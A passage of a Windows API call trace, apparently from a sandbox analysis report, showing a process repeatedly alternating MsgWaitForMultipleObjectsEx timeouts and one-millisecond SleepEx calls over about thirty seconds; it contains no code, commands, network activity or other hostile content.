dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.304] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0181.342] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.478] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0181.526] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.633] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0181.721] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0181.983] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0182.071] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.242] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0182.321] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.540] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0182.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0182.829] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0182.997] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.168] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0183.245] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.402] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0183.543] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0183.844] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0183.935] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.210] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0184.292] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.516] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0184.605] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0184.777] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0184.870] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.083] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0185.187] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.390] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0185.617] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.783] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0185.855] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0185.980] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0186.090] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.291] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0186.396] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0186.788] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0186.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.065] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0187.180] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.699] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0187.779] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0187.967] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0188.084] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.231] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0188.332] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0188.941] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0189.028] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.184] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0189.263] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.402] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0189.466] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.783] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0189.833] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0189.981] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0190.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.262] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0190.388] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0190.833] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0190.919] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.120] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0191.261] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0191.445] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0191.844] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.025] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0192.081] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.254] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0192.595] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0192.982] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0193.045] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.178] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0193.270] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.400] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0193.457] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0193.957] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0194.107] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0194.385] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0194.527] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.107] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0195.137] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.491] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0195.558] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.705] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0195.750] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0195.886] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0195.950] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.069] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0196.106] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.287] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0196.345] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.479] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0196.525] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.637] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0196.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0196.833] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0196.888] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.016] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0197.119] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.353] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0197.551] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.663] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0197.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0197.857] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0197.892] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.039] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0198.089] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.246] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0198.322] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.473] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0198.528] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.731] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0198.777] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0198.920] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0198.990] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.198] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0199.234] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.344] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0199.404] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.567] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0199.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0199.783] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0199.823] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.057] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0200.219] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.402] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0200.452] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.645] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0200.739] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0200.918] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0201.058] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.243] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0201.299] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.413] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0201.429] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.575] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0201.698] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0201.866] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0201.914] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.081] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0202.143] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.279] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0202.387] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.510] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0202.545] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.679] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0202.715] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.818] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0202.861] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0202.957] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.002] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.139] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.165] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.270] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.317] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.455] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.504] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.660] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.707] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0203.834] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0203.880] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.027] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0204.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.249] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0204.296] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.417] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0204.438] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.558] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0204.595] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0204.807] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0204.845] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.007] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0205.119] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.348] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0205.386] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.543] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0205.651] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0205.991] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0206.076] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.219] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0206.395] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.510] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0206.582] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0206.706] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0206.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.037] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.051] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.254] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.266] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.375] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.389] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.566] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.580] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.722] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.736] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0207.898] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0207.916] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.037] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.077] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.229] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.264] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.401] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.404] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.514] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.567] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.692] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.702] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.845] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0208.876] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0208.999] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.046] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.191] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.226] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.327] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.360] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.480] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.674] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.715] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0209.830] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0209.862] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.001] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.026] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.155] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.170] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.280] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.294] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.409] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.420] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.529] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.545] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.655] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.672] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.779] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.800] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0210.905] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0210.921] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.029] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.046] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.192] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.224] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.343] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.359] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0211.481] SleepEx (dwMilliseconds=0x1, bAlertable=1) returned 0x0 [0211.529] MsgWaitForMultipleObjectsEx (nCount=0x0, 